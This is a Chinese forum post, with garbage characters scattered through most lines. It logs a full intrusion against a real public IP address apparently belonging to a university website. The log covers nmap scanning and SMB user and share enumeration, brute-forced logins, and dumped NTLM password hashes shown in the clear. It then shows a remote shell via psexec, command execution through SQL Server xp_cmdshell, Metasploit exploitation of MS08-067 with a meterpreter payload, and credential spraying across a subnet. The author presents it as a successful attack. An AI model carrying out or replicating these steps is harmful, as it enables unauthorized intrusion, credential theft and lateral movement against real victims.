广西师范网站http://202.103.242.241/: a: N8 H' S+ T1 w
2 m O, e, q' t# s. K' _) Y& J
root@bt:~# nmap -sS -sV 202.103.242.241
0 i+ y% n# [( J6 T! i! r, w
; V. T1 S. \/ {Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST* O& Y5 Y( i) N' P; ?
% y* r9 E! ~( W% CNmap scan report for bogon (202.103.242.241)2 e7 u- `; c/ w, n% d
! e+ L: {5 Z) X- PHost is up (0.00048s latency).7 H+ B3 ^5 J/ w9 U; T
8 w, L9 `3 p/ y$ P/ n# P
Not shown: 993 closed ports
; w1 ]; n; U! R* {3 i
3 t! [; f, x R4 e( MPORT STATE SERVICE VERSION
0 m! k8 R# G% } k6 X G
3 S: K" Y0 G/ W$ m% A135/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)8 {' c6 I' i3 o& q* p
- N; n2 w! _% j# ]& \7 i
139/tcp open netbios-ssn1 ~5 ]5 H' S# C# i
0 y2 u4 \/ I( J! K445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds2 Q2 S: s/ G0 @
3 b1 A$ [1 j, D/ p
1025/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
- M2 W! F. G& h9 c0 e: ]" u, x" S/ _+ T' \( W
1026/tcp open msrpc Microsoft Windows RPC
) _4 ^% ^1 Y+ b4 \, k& i
6 \, g, w* H: f$ A. F1 l1 r3372/tcp open msdtc?
$ ~+ j h4 d. ~4 C1 u0 w1 R; K* }3 v6 P
: P, [; R: y+ C0 @& N2 _% d2 U3389/tcp open ms-term-serv?6 P7 b1 i1 ]7 y1 g
7 w0 w0 D& I3 D9 M0 A1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
" L4 i+ [/ O- }8 T3 ZSF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r' ]/ F e9 V, o
* O- ^. S- Z+ j7 A0 h: r
SF GetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions
/ _2 F5 J& P/ H J/ A( [* E
, U8 g9 g/ W4 i& d# @2 ?& SSF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)
) @/ k( f2 F( u. U( n. H/ r% G6 ]1 Y5 K0 H" v. j- }8 e: u
SF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO
/ B5 m- v, y! t2 C' C. m# d7 i! S. ~6 @/ N! B! s
SF:ptions,6,”hO\n\x000Z”);% D/ x+ `9 |9 W: u
& w, K1 ?: u0 G, V* U2 a. D# b, SMAC Address: 08:00:27 7:2E:79 (Cadmus Computer Systems)
: k8 D* C9 w4 L4 I" s% E, R8 t4 u9 ~. j" r' \* H
Service Info: OS: Windows; P- k9 D/ {& d* b3 p3 E; k- V
# G3 B1 Y+ |2 H6 q
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
+ D3 y* U! G. U: A" P! e4 b' f
' [: K4 [+ {; |Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds
. `' s5 z5 I* n: s4 l
1 y# _/ c- Q* O7 O Lroot@bt:/usr/local/share/nmap/scripts# ls -la | grep smb //列出扫描脚本
; @: x- y, n4 y" x7 k, V7 ~4 W5 d3 X# S: J
-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse
# |- C; W3 l( K
5 a4 w+ |* \* b1 _-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse
0 ^7 Y" F. \2 ]8 D
$ S' s: v% o3 |, i0 E- @-rw-r–r– 1 root root 4806 2011-07-09 07:36 smb-enum-domains.nse
3 n+ U0 ?* X5 e5 l4 ~" |% ]2 w" X/ x
-rw-r–r– 1 root root 3475 2011-07-09 07:36 smb-enum-groups.nse; Y4 |2 e1 T# q1 f$ U
) L3 f! d! s& |$ g9 {( S3 Y- {-rw-r–r– 1 root root 7958 2011-07-09 07:36 smb-enum-processes.nse
8 o7 V5 D& q- @. N: N
+ s) P: D4 d1 w1 D8 J-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse
# [2 W( R8 x' T p: P: n* A: f7 d3 v8 \4 ], c# q% I
-rw-r–r– 1 root root 6014 2011-07-09 07:36 smb-enum-shares.nse
7 C F1 m' p* p) r# v/ a3 X ] J( C1 D; | P+ ~
-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse# Q/ `: m4 w/ G
& x1 f. a8 n! F) |- R-rw-r–r– 1 root root 1658 2011-07-09 07:36 smb-flood.nse6 i# U+ ~2 f5 x
' N8 I: ?- b7 [7 D7 P2 c
-rw-r–r– 1 root root 2906 2011-07-09 07:36 smb-os-discovery.nse( N$ h3 u$ K9 t6 w @0 c v
& ]6 c7 z3 L0 X9 [
-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
0 X* u n% P |8 G
6 q0 U" c+ y! Q6 X' m( s-rw-r–r– 1 root root 4362 2011-07-09 07:36 smb-security-mode.nse
. b! A' F5 |2 b: j) a& g# i. U
, F ]$ p9 Q4 Q7 t/ @-rw-r–r– 1 root root 2311 2011-07-09 07:36 smb-server-stats.nse6 i- s2 t; F! k+ ^! O
: P+ T9 } f1 u+ n B5 b
-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse
0 B) G; X7 s3 \- v
( |7 ]5 o6 C) E( C6 W-rw-r–r– 1 root root 1429 2011-07-09 07:36 smbv2-enabled.nse
) p5 O/ ^' K$ ?5 j# z- N! U: W' @; ~7 V' q
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241
+ F9 g* }4 `' G5 |- |
0 y' I* {0 S. I- ^6 W6 I( ]//此乃使用脚本扫描远程机器所存在的账户名
# E' U3 B; t' [; X$ q6 ~. m1 d( M% y
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST
d, J1 S" `" {5 q- q- |0 @' `/ n: S' O& M, f3 b, `% p' m
Nmap scan report for bogon (202.103.242.241): m) D& O7 {0 |7 f6 Z" B
, |3 Z1 ?9 q* c4 U
Host is up (0.00038s latency).! x5 U: W+ I3 b8 a% Y) n( ?
3 I4 \# v+ n+ ~7 O& ~ n _; dNot shown: 993 closed ports
6 }( A) z) i3 ~3 e0 `; u- o1 y' @. C6 g2 U0 J. l) ]
PORT STATE SERVICE: @6 J. X% _5 Q* ?$ S
v) O; W3 i6 E
135/tcp open msrpc: `+ y! J ^" b( J; i
' G8 C) i, m9 ?. h3 j2 Y, A" t139/tcp open netbios-ssn
/ i# _' a3 r0 ?2 E$ q9 S9 v2 I, s q0 D' n ?/ V4 g" m
445/tcp open microsoft-ds
8 @- c: u, d& F( B# q |- @4 u8 d! X# L& x# \0 i
1025/tcp open NFS-or-IIS
z8 ^6 }. r7 b
. U2 J- {" Z) j+ d+ u0 J9 U/ v1026/tcp open LSA-or-nterm
0 I# u6 f1 t! C( I
) S$ O! {+ V4 Y6 l4 ]3372/tcp open msdtc
: G" @) U; [4 M: g; p- }# |$ M1 d& L# k1 r D2 V8 ~: p8 r3 I& |
3389/tcp open ms-term-serv
4 R) ?8 R1 a8 l1 e6 E1 H; ~# d' |% v1 } h. ]" b1 n- p
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)3 @" z+ ` f1 V4 Z7 m0 T+ _
2 v% U' B. t; @
Host script results:
7 m/ }- L$ U. M9 w6 ~& f; Y
* @7 L" `0 |! U7 h# r: B0 Q" || smb-enum-users:
/ F- y! q2 V% @+ `1 }, V) y" A9 @# O# G) v7 s* s2 b
|_ Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果3 m: A! Z1 t# b1 P
( c/ N) d" `; G' d
Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds' ~7 ~4 W) |( @/ s/ K7 L& |9 Q) ]" L% V
6 P$ ^% P9 i6 Y. f' W8 d% R$ Droot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241
' h J* w6 [* V' ^5 d
: a& P+ C5 K4 d% i$ Y//查看共享- j3 Q! x* p3 [( O
, G8 _+ C7 ~. e
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST/ h, i: Z9 N) O* L e
) M/ D2 ` B8 @Nmap scan report for bogon (202.103.242.241)( W3 ~7 }- q8 n. I9 h
. K7 _ U, a+ F4 {9 ZHost is up (0.00035s latency)." l# j3 P) W/ D& F o) l. S6 q
7 r' @7 k7 J j) I2 Q
Not shown: 993 closed ports4 m' z7 I# g! h! _6 V
: V% h% Z) w9 @ f5 Z+ KPORT STATE SERVICE& J( ^. R7 e0 d& V- C! b. k( `
0 o( i8 c; ?4 h8 |" d3 s135/tcp open msrpc% o" L* n6 Q6 W1 P2 x& `
$ v$ N8 ~& D+ G% f4 O2 ^
139/tcp open netbios-ssn7 b$ D" q( u; p
9 |. V: J0 Z9 K* X* a445/tcp open microsoft-ds9 S/ ?# A# `) m9 v4 W M
1 @6 l* |/ F5 ?; {
1025/tcp open NFS-or-IIS
" l' I% J8 L$ M5 u: v1 _) `$ v) W! e, z- h; U
1026/tcp open LSA-or-nterm3 L. W6 T: A) k: E
: P. E s/ ?3 B& n+ Z2 i& T
3372/tcp open msdtc
% z$ _0 r- p# i% Z% B) \; {! c0 h* V7 c( i
3389/tcp open ms-term-serv
; J( O, Z8 e/ M8 j1 A$ l5 G: E7 e9 q% b
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
9 e8 O/ b K6 `3 J, z
7 {) o% }+ n. F: j1 C" D6 dHost script results:9 J" w# _& k6 A) d
- M8 g8 ]7 e! E% b& J G$ c3 j
| smb-enum-shares:
7 d ]8 \7 Y+ Z
- L7 q& z4 W! E, @1 l; {: U| ADMIN$6 ?% |% C i% O6 k. w5 z
2 ?" u6 P; ~% n, K| Anonymous access: <none>
. k' H- r# M, J$ g* c; Z N0 U
) q" c6 b' j/ b& X$ S7 I! K| C$
' d9 f: M, w) S. J' `# `# x, K( ^' r- t- j2 F: E
| Anonymous access: <none>
" o0 C/ K6 }# G7 U* O: n2 ?2 N
( p0 t$ e2 Q# P| IPC$
{8 Z/ A5 D/ Q* C6 _9 `9 R) h; c$ y0 C3 w- P
|_ Anonymous access: READ, K6 n7 }0 Z# y1 F# d
# d j V* M. P) I. l# r5 L. G# P
Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds# m; o( a2 f5 D) e! _
; ^% S( {3 V/ e! |0 {4 w. j/ c
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241
7 Q; m3 m8 q E6 ~5 j
. _' ?7 O" ?$ t//获取用户密码6 ^& u- @/ v! p
2 Z# c# p: A M7 L
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST
8 x: n3 V+ \) x
8 F; g; m8 r; A$ SNmap scan report for bogon (202.103.242.2418)5 w, O2 \, k1 X5 d& B4 Q
& ^1 u' X% f# L
Host is up (0.00041s latency).& v5 N8 L6 B% o$ t0 ]# \5 B
* e! U6 T& `; ^/ |. K. H2 mNot shown: 993 closed ports
# k& o f& X {
( K# S8 q( ^* { o& i- BPORT STATE SERVICE8 j( E3 y+ ]( f/ }/ Q3 m* Q
7 l+ {) _' n# ]# D135/tcp open msrpc1 K) i! W% i% J+ A7 N, J8 Z3 Z
5 G' `* }# h$ ^7 Q- g; _139/tcp open netbios-ssn. }1 i5 [0 k& S6 b
; n! Q3 c0 t4 O1 D" p445/tcp open microsoft-ds4 `$ X# L3 y+ q) [, ~+ x* ]- Q
2 g* k" v' Q. i2 `$ G1 o1025/tcp open NFS-or-IIS
2 w( m e; {$ R$ N4 |6 M6 p- Z6 ?$ i$ Q$ ]1 N
1026/tcp open LSA-or-nterm
* t- G" b O7 ^
1 G2 X5 b# K# b( m4 i3372/tcp open msdtc
0 Q, |: [5 W/ a0 E4 D
* C, s& }6 Z* I, G) W9 R3389/tcp open ms-term-serv( @" V9 i' k. ?% |) d1 u6 E1 ^
, X9 v" w2 g6 U8 c: ]( T
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
' A z+ ?& h8 B/ d
! ] j [) x& WHost script results:
6 } g3 R/ D: `) G5 t; Z. R G n A, N% u
| smb-brute:
0 V: v9 ~2 N z/ M7 M, ]
# d- C. ?& M- V/ F, X5 kadministrator:<blank> => Login was successful
+ H* k6 m4 H; E- u8 ]4 I0 R$ ? x
! P/ ]' `1 h# \) K4 ~|_ test:123456 => Login was successful
( k% m* ^7 T( o, j( w: {% ~
' e- R. T9 g0 L9 _( h& U+ u, tNmap done: 1 IP address (1 host up) scanned in 28.22 seconds
$ n1 ~) \/ S( p% `
# y7 y" H) Z- u! o7 iroot@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
, I4 E [, h0 ~( u1 o/ f {( P4 G# i6 M* x6 I( @! v, f
root@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data8 @1 v n4 r: T- `
1 _ F# N1 q5 t7 V) W* S
root@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse
4 x% |* H4 b$ D& J `. i; t& {: X3 i& |( ?# e
root@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139
$ U1 s( z; X8 a& S( F+ L9 i- ~/ g+ M: K/ o5 D
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST
# |# P8 d% Z# X- k9 ]
/ `; P& P( [; p8 [1 H0 S9 zNmap scan report for bogon (202.103.242.241)0 Q8 Z- I# ]/ N5 v* r
% f8 h& U) R# K7 @' G
Host is up (0.0012s latency).2 e4 F! o% ?$ [4 H( k
; v) f8 g% b* Y8 o) k- GPORT STATE SERVICE
+ \2 g2 q2 }7 G2 S5 J" w6 Y$ b, i( B
135/tcp open msrpc2 m4 x# F3 x) K% Z) m- H- E& g
. i, ?1 {7 L4 R7 a9 Q# ^8 B2 p- c
139/tcp open netbios-ssn
- Z2 d( |. k3 A; ?' L+ p
* x* |, T- G# T0 H- N: ?445/tcp open microsoft-ds
: x9 c5 J7 m) P4 i3 g& H
# {5 U& Y, @* {MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
* }# |4 U9 r) z+ H
+ P9 H y" j0 ~( E9 i, {/ rHost script results:
7 D1 @$ H& B# \0 s, p% E: Q4 t! o# K
| smb-pwdump:) y* y& V/ }& \% d& I3 \
5 ~- H% A" U" D# g% d" O
| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************- q& z1 M8 d, G: e' U% N$ G8 I3 b
: ?/ n& J7 e. t( x% v/ ?| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************% O/ |8 V) h9 e- `
' Q- z! r8 y: i9 Q8 d| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4. [5 ?3 k" x7 g3 e' |- A, M1 Q
9 q. h$ `8 j! S3 C# ^% i' W|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2
t) q0 I. n* t$ P1 m% U- b, z u1 h. {2 Y1 U
Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds9 i' Y( s+ ~4 f' N; T
X/ M! I- D8 m& O1 RC:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241 -u test //获取一个cmdshell) X5 L* q: l7 V7 x! d6 {4 P0 K
3 G8 _$ {8 L0 J9 s/ L, m* u
-p 123456 -e cmd.exe. @% ]( J$ H% x2 M+ D5 t
9 v+ R) L& i, k! _6 Z5 sPsExec v1.55 – Execute processes remotely
" Y1 z5 h6 R1 I" d0 Z9 o% h& S
7 C5 z- W- A8 X) t& GCopyright (C) 2001-2004 Mark Russinovich
2 Q5 x. L" p7 r! a# c
* N7 ^0 b' ^0 {/ X' ESysinternals – www.sysinternals.com% _ E7 s5 C0 E5 |
$ V1 V0 P5 Q h- v; W
Microsoft Windows 2000 [Version 5.00.2195]
: d; C. W5 q$ k9 z0 n$ H5 h6 C
0 \* H0 f/ f9 j- f* d3 o(C) 版权所有 1985-2000 Microsoft Corp.7 O$ J! @( e# }( j6 j4 G
0 r4 v" H; k2 W6 UC:\WINNT\system32>ipconfig; l7 q3 `, _5 s; U# f c
' f' ~/ `; s B% T9 R
Windows 2000 IP Configuration
9 _* j* R( n, q! r8 s2 }( ]4 g# Y# h6 Z- g
Ethernet adapter 本地连接:
: q" V& |9 c8 T# m, x
, q# V6 |' x4 K$ r. fConnection-specific DNS Suffix . :
" H+ c( a& I9 g+ k8 I y. X9 C1 A1 u. C7 K! D6 V
IP Address. . . . . . . . . . . . : 202.103.242.241; B$ j7 j* t! N7 @: ^! t- s
$ v( j6 @% O. D& A1 H# ?5 ?+ mSubnet Mask . . . . . . . . . . . : 255.255.255.0
8 N" Y6 c$ z$ V1 b1 @" i; D0 U! ^( h, Z1 z9 [2 j& f$ x% s
Default Gateway . . . . . . . . . : 202.103.1.1
* S) F& U( N% s1 f( O! ^9 _1 B& @5 t. M G
C:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “ //远程登录sa执行命令
: h2 z$ e l% v* j7 J8 x' U8 I0 q8 t8 `
" S* M8 J6 T! P) a/ u. V& a9 Groot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241 //检测目标机器漏洞
4 R8 e$ A1 m( ?
- L# Z7 s o) F0 g/ _& Q1 ]6 nStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST
! d6 o% I% ^* j% {% L1 ^3 I2 \$ b# r$ u: Z1 O* l' Z
Nmap scan report for bogon (202.103.242.241) I5 U# K' @& B) t4 }
! D2 i! }5 ^4 k4 I6 M1 ^! M
Host is up (0.00046s latency).) D1 S4 n# u4 E) p: K7 h
3 P( V6 e6 P) FNot shown: 993 closed ports
F: K+ Y" `9 W3 c6 X& j' }& D. ~
PORT STATE SERVICE+ j0 S0 O6 |( Q& [( r
. x' N0 h4 v! X$ X7 N7 t
135/tcp open msrpc
- k. q3 N! Z5 p
5 V R7 A$ b9 a% s4 ^! g& `* `2 ^139/tcp open netbios-ssn
; W5 t) c: q" i5 A& A- b1 W- @' u6 P0 _, I% z
445/tcp open microsoft-ds$ ~4 d* a( M# K: z
$ n* A$ g: K& s# {
1025/tcp open NFS-or-IIS
. y" m1 I) f7 e1 _) t! w3 x' X( W- s2 L# i) Z! U i. A2 O& b; ?
1026/tcp open LSA-or-nterm1 p( }& P/ A5 {' y, i( A* a
4 a0 k( v/ V9 T5 z
3372/tcp open msdtc
8 x; H/ ^4 W# o
4 p% E, y2 A3 F' |3 G3389/tcp open ms-term-serv* w; F" w- Q. b7 ~0 r! _
/ E8 s( C% t+ G. ]0 x) T1 |MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems): `5 k! q4 U* V
' B9 `; g% M+ W. Y: iHost script results:; p4 ~! a7 |5 N3 a
$ k( A5 _% A8 A n% t0 @| smb-check-vulns:
5 ?. G0 w- q1 v) |0 j. y% @+ q& i+ [& o; x& {
|_ MS08-067: VULNERABLE/ @1 w8 i9 ~+ |- ^ C* d2 ~9 L, s. C6 j0 S7 G
7 x& D; Y; ? p4 `
Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds- Y) v; ^8 L% W1 [) q
/ ?7 C2 B0 c9 U5 S& Y: F, X2 l
root@bt:~# msfconsole //在msf上利用ms08-067漏洞对目标机器进行溢出$ m a4 v; M4 O8 Q6 w# u1 n
0 M7 H9 x9 j7 g+ `0 i
msf > search ms08) j, O( a" H) ?- K5 O
! R- v: ]& n" ^4 Smsf > use exploit/windows/smb/ms08_067_netapi" e% l/ A0 ?+ R. T! K
, c: U9 b3 h' n K8 k3 U
msf exploit(ms08_067_netapi) > show options, @! i( E+ ~4 {
" P2 w. V% [ J! z1 j- k1 v. s1 cmsf exploit(ms08_067_netapi) > set RHOST 202.103.242.241
& p& o) b R9 L! ?" z. F! P6 C/ S: b# e, J% _
msf exploit(ms08_067_netapi) > show payloads( {: v2 [3 X9 N) c* q* s/ O: z$ U
8 W9 c2 y# b& E1 ~6 Qmsf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp0 X" Y3 F% }( c4 X! @
/ B( b4 v# k( e" n6 B- k1 |+ l
msf exploit(ms08_067_netapi) > exploit
% o" \8 m7 u% h: v: e4 G8 y0 f, z8 `% a [1 Y% v2 Q) J
meterpreter >
( U/ v# N/ k( R! V5 E# c2 V1 ~& \: a; n1 y6 l, b; \" ~
Background session 2? [y/N] (ctrl+z)
: }7 Q' V& L. b* M$ b; U
0 R0 [$ z/ j" Y x; ]7 rmsf exploit(ms08_067_netapi) > sessions -l4 l+ S1 t' U; p7 ~ g5 K1 w. q
5 c& z1 Z: Y" ? m
root@bt:/usr/local/share/nmap/scripts# vim usernames.txt
/ f3 R7 o4 c$ s! Z
% J9 E$ y) l2 `, Etest
z3 I% T' F" v) W/ l( C
; q1 c( w% f: `$ e0 S( J8 N- Radministrator) p( T* c2 ?/ s7 }
% d: w! @4 @6 L9 c7 b! Q5 T5 Xroot@bt:/usr/local/share/nmap/scripts# vim password.txt: m/ ~, ^/ G6 F _; g4 K
# q! \5 ]. I% h4 U* ~ ?7 n44EFCE164AB921CAAAD3B435B51404EE
" _ v" g4 h `! x' s1 J
6 [, r5 r, Y; F! ~root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254
# ] O L; O( r9 I0 B: I5 `2 m% J! \6 O- H, |
//利用用户名跟获取的hash尝试对整段内网进行登录- e% r D8 P9 Q6 _3 y1 K# A
3 U5 E# Z |: ~ a3 a8 ]6 O) X
Nmap scan report for 192.168.1.105$ `$ F3 W2 A4 @8 K o P w6 F1 h
# `- E+ `1 f' B7 K
Host is up (0.00088s latency).
' b' Q# l) F# v2 Y; U
7 S4 I" \, |. HNot shown: 993 closed ports& v; c% L z! j2 K; i/ ]
) |0 Z+ i0 G- dPORT STATE SERVICE" X# D9 y& Z2 ?
% c5 F% ?& O' H$ K) w
135/tcp open msrpc
; _. u0 w. w& Y; x, L) F0 n0 d6 [# t/ ^" U+ p
139/tcp open netbios-ssn3 i' o8 Y# T S# a
$ Y) P, z7 U1 i$ ^6 k9 ^) w) i445/tcp open microsoft-ds4 V W6 x$ s+ X, G3 I$ ^
5 y! h; Z. L! s7 I Z1025/tcp open NFS-or-IIS, A) p1 G k5 {/ R7 M
- `' }" Y) K: U( h
1026/tcp open LSA-or-nterm) Y5 ^% P4 D' p: y5 |
/ c6 v% E- G, y& `$ [! z5 H
3372/tcp open msdtc/ J/ X& o% z. M- @+ b/ w- r
, c# ]) R; o: X; }) r
3389/tcp open ms-term-serv
: K* n8 K4 K. \% x2 N6 i
5 G, V! i! }% P2 }9 m( O5 oMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
( M! C' ^# v6 \: `: ?& l) k9 _
& {3 ^# y4 c$ _9 d' q" cHost script results:) `3 d" Q6 ^1 I* z' G5 b& Z( q5 V
; b( ]& I" J, Q& M. {& C K| smb-brute:! j# G6 i5 _9 z# K
9 h4 J6 E6 M4 x7 O|_ administrator:<blank> => Login was successful
. Y2 C9 J4 y) i; Z; d
; m$ ^! ^$ w7 o攻击成功，一个简单的msf+nmap攻击~~·8 h- g+ O {5 A
/ e. |& N1 V/ L) ]: B5 ~ |
发表于 2012-12-4 12:46:42
收藏
支持
反对